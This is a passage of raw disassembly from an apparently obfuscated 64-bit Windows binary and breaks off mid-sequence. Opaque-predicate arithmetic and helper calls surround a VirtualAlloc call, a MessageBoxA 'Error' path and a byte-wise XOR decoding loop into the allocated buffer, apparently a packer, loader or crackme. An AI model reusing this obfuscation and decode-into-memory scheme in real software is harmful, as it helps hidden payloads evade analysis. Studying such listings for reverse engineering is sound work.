mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
mov edx, 0x84
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0x1000
mov r8d, edx
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rsi
call fcn.1400058b0
xor ecx, ecx
mov rdx, rdi
mov r8d, ebx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov r13, qword [rbp + 0x50]
mov qword [r13], rax
mov rcx, qword [r13]
mov r8, qword [rbp + 0x80]
sub rsp, 0x20
mov rdx, r14
call fcn.140005880
lea rcx, [0x14001114c]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add rsp, 0x20
mov dword [rbp + 0x5c], eax
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xf1
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, r15d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x4cd
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
imul esi, edi
sub rsp, 0x20
mov ecx, 0xd7
mov edx, 0x59
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, r12d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x854f
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
xor ecx, ecx
cmp esi, eax
sete cl
neg ecx
mov eax, dword [rbp + 0x5c]
cmp eax, ecx
sete byte [rbp + 0xc6]
cmp byte [rbp + 0xc6], 0
je 0x1400093b6
mov r14, qword [r13]
movzx edi, byte [rbp + 0xd6]
mov rax, qword [rbp + 0x80]
sub rsp, 0x20
mov ecx, 0x89
mov edx, 0x827876
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0xad
mov edx, edi
call fcn.1400058b0
mov ecx, 0x41bf
mov edx, edi
call fcn.1400058b0
mov ecx, 0xa
mov edx, 0xdb
mov r8d, edi
mov r9d, edi
call fcn.1400058b0
mov ecx, 0xff
xor edx, edx
mov r8d, edi
call fcn.1400058b0
mov ecx, 0x5abb
call fcn.1400058b0
movabs rcx, 0x36e82c4b0b074da2
mov edx, 0xeb
mov r8d, edi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, edi
call fcn.1400058b0
add rsp, 0x20
add ebx, eax
sub rsp, 0x20
mov ecx, 0x3f
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x90]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xd
mov r8d, edi
call fcn.1400058b0
mov ecx, 0xe219
mov edx, edi
call fcn.1400058b0
mov ecx, 0xf7
mov edx, edi
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x45af
mov edx, edi
call fcn.1400058b0
movabs rcx, 0xc917d3b4f4f8b28e
mov edx, edi
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xb6
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add esi, eax
add esi, ebx
sub rsp, 0x20
mov edx, 0x64
mov rcx, rsi
mov r8d, edi
mov r9d, edi
call fcn.1400058b0
lea r8, str.Error
xor ecx, ecx
mov rdx, r14
mov r9d, eax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000af27
mov rbx, qword [rbp + 0x70]
mov eax, dword [rbx]
mov dword [rbp + 0xb0], eax
mov rax, qword [rbp + 0x78]
movzx eax, byte [rbp + 0xd6]
mov edx, dword [rbp + 0xb0]
sub rsp, 0x20
movabs rcx, 0x6c5e41e5ea02f53c
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
mov edx, dword [rbp + 0xb0]
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
xor esi, edi
mov rax, qword [rbp + 0x78]
mov edx, dword [rbp + 0xb0]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov edx, dword [rbp + 0xb0]
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x8d7f6d
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xd0]
mov edx, dword [rbp + 0xb0]
sub rsp, 0x20
movabs rcx, 0x93a1be1a15fd0ac9
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor eax, edi
add eax, esi
mov ecx, dword [rbp + 0xb0]
mov edx, dword [rbx]
mov rbx, qword [r13]
mov dword [rbp + 0x98], edx
mov qword [rbp + 0x48], rbx
cmp ecx, eax
jbe 0x14000a8da
mov rax, qword [r13]
mov eax, dword [rax]
mov dword [rbp + 0xbc], eax
movzx eax, byte [rbp + 0xd7]
mov rax, qword [rbp + 0x80]
mov edx, dword [rbp + 0xbc]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov edx, dword [rbp + 0xbc]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov edx, dword [rbp + 0xbc]
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
mov edx, dword [rbp + 0xbc]
sub rsp, 0x20
mov r8d, 0x435f95
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0xc6]
mov r8d, dword [rbp + 0xbc]
sub rsp, 0x20
mov ecx, 0x66
mov edx, 0xa4
mov r9d, r8d
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x5c]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xdb
call fcn.1400058b0
mov ecx, 0xbcd1
mov edx, 0x88
call fcn.1400058b0
mov ecx, 0x54
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x1169
call fcn.1400058b0
add rsp, 0x20
mov edx, dword [rbp + 0xbc]
sub rsp, 0x20
movabs rcx, 0x1585d4ec998d2b4f
call fcn.1400058b0
mov ecx, 0x2e786f72
mov edx, 0xd9
call fcn.1400058b0
add rsp, 0x20
mov ecx, dword [rbp + 0xbc]
mov rdx, qword [rbp + 0x70]
mov edx, dword [rdx]
mov dword [rbp + 0xa4], edx
mov rdx, qword [r13]
mov ebx, dword [rbp + 0xa4]
mov dword [rbp + 0x98], ebx
mov qword [rbp + 0x48], rdx
cmp ecx, eax
jne 0x14000a8da
mov rax, qword [r13]
add rax, 4
mov rcx, qword [rbp + 0x68]
mov qword [rcx], rax
mov rax, qword [rcx]
movzx esi, byte [rax]
mov byte [rbp + 0xc7], sil
movzx eax, byte [rbp + 0xc7]
mov byte [rbp + 0xc5], al
movzx eax, byte [rbp + 0xc5]
mov dword [rbp + 0xa8], eax
mov rax, qword [rbp + 0x70]
mov r15d, dword [rax]
sub r15d, dword [rbp + 0xa8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xb0]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xb0]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xb0]
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
movabs rcx, 0x8491d9fce4fdfed5
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x88
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x4b43
mov edx, 0x1f
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x76
mov edx, 0xf6
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xa4]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x9017
mov edx, esi
mov r8d, esi
call fcn.1400058b0
movabs rcx, 0x3ba49b63e9cad60c
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov r8d, 0xe8
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
mov ecx, 0xfffffffc
mov edx, 0x92
call fcn.1400058b0
add rsp, 0x20
add eax, r15d
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x58]
mov dword [rbp + 0x94], eax
movzx r12d, byte [rbp + 0xc7]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov r13, rax
xor r13d, dword [rbp + 0xbc]
or r13d, esi
mov edi, dword [rbp + 0xbc]
or edi, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
sub eax, dword [rbp + 0xbc]
mov ecx, esi
xor ecx, dword [rbp + 0xbc]
sub ecx, r13d
mov r13, qword [rbp + 0x50]
sub ecx, r14d
xor ecx, eax
cmp r12b, cl
setne bl
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xffffffff
xor edx, edx
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov r8d, 0xf1
mov edx, esi
call fcn.1400058b0
mov ecx, 2
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xae
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xa8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xbe1e2e
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x2e33
call fcn.1400058b0
mov ecx, 0x26
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xcfb5
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
movabs rcx, 0xd0a8a1ea7c45472
or rcx, 4
sub rsp, 0x20
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 4
mov edx, 0xff
call fcn.1400058b0
add rsp, 0x20
cmp r15d, eax
setg byte [rbp + 0xc4]
movzx eax, byte [rbp + 0xd7]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xa8]
mov eax, dword [rbp + 0xa8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xd1
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0xb1
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xa8]
sub rsp, 0x20
mov ecx, 2
mov r8d, 0xfa9b4b
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xa8]
and bl, byte [rbp + 0xc4]
mov byte [rbp + 0xc3], bl
movzx eax, byte [rbp + 0xc3]
cmp al, 1
jne 0x14000aee8
movzx r15d, byte [rbp + 0xc7]
mov qword [rbp + 0x40], r15
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x60], rax
sub rsp, 0x20
mov ecx, 0xdb
mov edx, 0x64
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x9829
mov edx, 0xc4
mov r8d, 0x64
mov r9d, 0x46
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0x68
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, dword [rbp + 0x58]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r15d
mov r8d, r15d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0xc91
mov edx, r15d
mov r8d, r15d
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
xor ecx, ecx
cmp r14d, eax
sete cl
mov dword [rbp + 0x88], ecx
sub rsp, 0x20
movabs rcx, 0x1fdec57ff36d51c4
mov edx, 0x6b
mov r8d, 0x7a
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add rbx, rdi
mov rax, qword [rbp + 0x80]
movzx eax, byte [rbp + 0xc5]
sub rsp, 0x20
mov ecx, 1
mov edx, r15d
call fcn.1400058b0
movabs rcx, 0xe0213a800c92ae40
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xd9
xor ecx, ecx
mov r8d, r15d
call fcn.1400058b0
add rsp, 0x20
xor rax, rdi
add rax, rbx
add rax, qword [rbp - 0x60]
add rax, qword [r13]
mov qword [rbp + 0x60], rax
mov eax, dword [rbp + 0x94]
mov qword [rbp - 0x58], rax
mov rsi, qword [rbp - 0x58]
movzx eax, byte [rbp + 0xc4]
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 1
mov edx, r15d
call fcn.1400058b0
movabs rcx, 0x4d3041af20c35e12
mov edx, 0x40
mov r8d, r15d
mov r9d, r15d
call fcn.1400058b0
mov edx, 0x5411b2
xor ecx, ecx
mov r8d, r15d
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0xc4]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x9f
mov r8d, r15d
call fcn.1400058b0
movabs rcx, 0xb2cfbe50df3ca1ef
call fcn.1400058b0
xor ecx, ecx
mov edx, r15d
mov r8d, r15d
call fcn.1400058b0
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
and rax, rsi
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov r13d, dword [rbp + 0x94]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x51
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, dword [rbp + 0xa0]
or edi, r13d
mov ebx, dword [rbp + 0xa0]
or ebx, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
xor esi, r13d
sub rsp, 0x20
mov ecx, 2
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
imul eax, esi
sub eax, dword [rbp + 0xa0]
mov esi, dword [rbp + 0xa0]
xor esi, r13d
sub esi, edi
sub esi, ebx
xor esi, eax
sub rsp, 0x20
movabs r12, 0x4c46ff7837322a8a
mov rcx, r12
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
add r14d, esi
mov edi, dword [rbp + 0x88]
neg edi
mov dword [rbp + 0x88], edi
sub rsp, 0x20
mov ecx, 0x97
mov r8d, 0x45bad1
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x215a35
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xd69
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0xd9
mov r8d, 0x256fa3
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0xa8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x4f81
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
xor esi, esi
cmp edi, eax
sete sil
or r12, 1
sub rsp, 0x20
mov rcx, r12
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
neg esi
xor eax, r14d
xor eax, esi
cmp r13d, eax
sete byte [rbp + 0xb7]
mov r14, qword [rbp + 0x80]
sub rsp, 0x20
mov ecx, 0xcc
mov r8d, 0x1a
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x88]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xb6
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x9557
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0xdb
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x332b
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
xor ecx, ecx
cmp edi, eax
sete cl
neg rcx
mov rbx, qword [rbp + 8]
mov qword [rbx], rcx
movzx eax, byte [rbp + 0xc3]
sub rsp, 0x20
mov ecx, 0x9b
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x48
call fcn.1400058b0
mov ecx, 0xb91d
mov edx, r15d
call fcn.1400058b0
mov ecx, 0x6c
mov edx, r15d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r15d
call fcn.1400058b0
xor ecx, ecx
mov edx, r15d
call fcn.1400058b0
add rsp, 0x20
mov r14, qword [rbp + 0x10]
mov qword [r14], rax
cmp byte [rbp + 0xb7], 0
jne 0x14000a77e
mov rdi, qword [rbp - 0x58]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x28]
sub rsp, 0x20
mov ecx, 1
mov rdx, rdi
mov r8, rdi
call fcn.1400058b0
movabs rcx, 0x14c70e3b2e73951b
mov edx, 0xf04288
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0xc6]
mov rax, qword [rbp - 0x60]
sub rsp, 0x20
mov ecx, 0x96
mov rdx, rdi
mov r8, rdi
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xfd
call fcn.1400058b0
mov ecx, 0x5f77
mov rdx, rdi
call fcn.1400058b0
mov ecx, 0xe2
mov rdx, rdi
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xf1
call fcn.1400058b0
mov ecx, 0x560b
mov edx, 0x34
call fcn.1400058b0
movabs rcx, 0xeb38f1c5d18c6ae3
mov rdx, rdi
call fcn.1400058b0
mov ecx, 0xfffffffe
call fcn.1400058b0
add rsp, 0x20
and rax, rdi
mov qword [rbp - 0x80], rax
mov rax, qword [rbp + 0x28]
movzx eax, byte [rbp + 0xb7]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x6d
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x1b
mov r8, rdi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov rdx, rdi
mov r8, rdi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x1b
mov r8, rdi
call fcn.1400058b0
mov edx, 0x7a
xor ecx, ecx
mov r8, rdi
call fcn.1400058b0
add rsp, 0x20
mov qword [rbp - 0x50], rax
movzx eax, byte [rbp + 0xc3]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xfa93f1
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xa4]
mov eax, dword [rbp + 0xa4]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0x64
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, 0x28
mov r8d, 0x4d
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xa4]
mov eax, dword [rbp + 0xa4]
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.1400058b0
add rsp, 0x20
mov qword [rbp - 0x48], rax
movzx eax, byte [rbp + 0xc5]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xd9
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x9f
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0x89
mov r8, rdi
mov r9, rdi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xbd8c51
call fcn.1400058b0
mov ecx, 2
mov edx, 0xed
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.1400058b0
add rsp, 0x20
mov qword [rbp - 0x40], rax
nop word [rax + rax]
mov r12, qword [rbp - 0x40]
mov r14, qword [rbp - 0x48]
mov r15, qword [rbp - 0x50]
mov rsi, qword [rbp + 0x40]
lea edi, [rsi + r15]
mov eax, esi
xor eax, r15d
sub edi, eax
mov ebx, esi
and ebx, r15d
sub rsp, 0x20
mov ecx, 1
mov edx, 0xad
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, edi
mov dword [rbp + 0x70], ebx
cmp r15, rsi
mov eax, 0
cmovae r15, rax
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x88], r14
movzx ebx, byte [rax + r14]
mov rcx, qword [rbp + 0x68]
mov rcx, qword [rcx]
xor bl, byte [rcx + r15]
mov byte [rax + r14], bl
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x59
mov r8d, 0x4c8fe5
mov r9, r12
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xffffffff
mov rdx, r12
call fcn.1400058b0
mov ecx, 2
mov rdx, r12
call fcn.1400058b0
mov edx, 0xf85af3
movabs rcx, 0x29120c46e3147237
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
xor r14, rdi
movzx esi, bl
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r12
mov r8, r12
call fcn.1400058b0
mov ecx, 0x70a5
mov edx, 0xd9
call fcn.1400058b0
mov ecx, 0x85
mov edx, 0xfd
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, esi
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r12
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
and esi, edi
imul esi, esi
sub rsp, 0x20
mov ecx, 0xcf55
mov edx, 0x90
mov r8d, 0x46
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov edx, 0x1a
movabs rcx, 0xd69e607c0417e387
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x56
mov r8d, 0x7cd508
mov r9d, 0x1ce250
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov r13, rax
xor r13, rsi
imul r13, r14
add r13, r15
sub rsp, 0x20
mov ecx, 0xb2
mov edx, 0x49
mov r8, r12
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, ebx
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xbd17
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 1
mov edx, 8
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xb8cd
mov rdx, r12
call fcn.1400058b0
movabs rcx, 0x3752130a2efbb435
mov rdx, r12
call fcn.1400058b0
mov r8d, 0xdd1ddc
xor ecx, ecx
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xffffffff
mov rdx, r12
mov r8, r12
call fcn.1400058b0
mov ecx, 0xfffffffd
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xad
mov r8d, 0x9f
call fcn.1400058b0
mov ecx, 2
mov rdx, r12
call fcn.1400058b0
mov r8d, 0x9a
movabs rcx, 0x70869f7be3f0fe1d
mov rdx, r12
call fcn.1400058b0
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x68], rax
sub rsp, 0x20
mov ecx, 0xc6
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x70]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x8021
mov r8d, 0xd2
mov rdx, r12
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
imul esi, ebx
sub rsp, 0x20
mov ecx, 0x6d
mov edx, 0xd2
mov r8, r12
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, r14d
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x71
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0xd0e7
mov edx, 0xd86dd2
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
xor ebx, ebx
cmp esi, eax
sete bl
neg rbx
cmp r13, qword [rbp - 0x68]
cmovb rbx, r13
mov r13, qword [rbp + 0x88]
or r15, r13
mov rax, qword [rbp + 0x60]
movzx ecx, byte [rax + r15]
mov rdx, qword [rbp + 0x68]
mov rdx, qword [rdx]
xor cl, byte [rdx + rbx]
mov byte [rax + r15], cl
mov r14, qword [rbp + 0x10]
sub rsp, 0x20
mov ecx, 0x8b
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r12
call fcn.1400058b0
mov ecx, 0x6983
mov edx, 0x22
call fcn.1400058b0
mov ecx, 0xf8
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r12
call fcn.1400058b0
mov ecx, 0x17b9
mov edx, 0x7f
call fcn.1400058b0
movabs rcx, 0x8e6b5fb592df3bf
mov rdx, r12
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x98
mov r8d, 0x71
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xd01
mov rdx, r12
call fcn.1400058b0
mov ecx, 0x57
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xb4
call fcn.1400058b0
mov ecx, 0x77e9
call fcn.1400058b0
movabs rcx, 0xf7194a04a6d20c42
mov rdx, r12
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 1
mov edx, 0xd380aa
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
add rdi, rbx
sub rsp, 0x20
mov ecx, 0x57
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r12
call fcn.1400058b0
mov ecx, 0x8ab5
mov rdx, r12
mov r8, r12
call fcn.1400058b0
mov ecx, 0x4e
mov edx, 0xed
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xdb43
mov rdx, r12
call fcn.1400058b0
mov edx, 0x22
movabs rsi, 0x434ac5604e3d04ac
mov rcx, rsi
mov r8, r12
call fcn.1400058b0
mov ecx, 1
mov r8d, 0xfd
mov rdx, r12
call fcn.1400058b0
add rsp, 0x20
lea rcx, [rsi + 2]
sub rsp, 0x20
mov rdx, r12
mov r8, r12
call fcn.1400058b0
mov ecx, 2
mov rdx, r12
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
add rsi, r13
sub rsp, 0x20
mov ecx, 0x62
mov rdx, r12
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0x28
mov rdx, r12
call fcn.1400058b0
mov ecx, 0x4813
mov rdx, r12
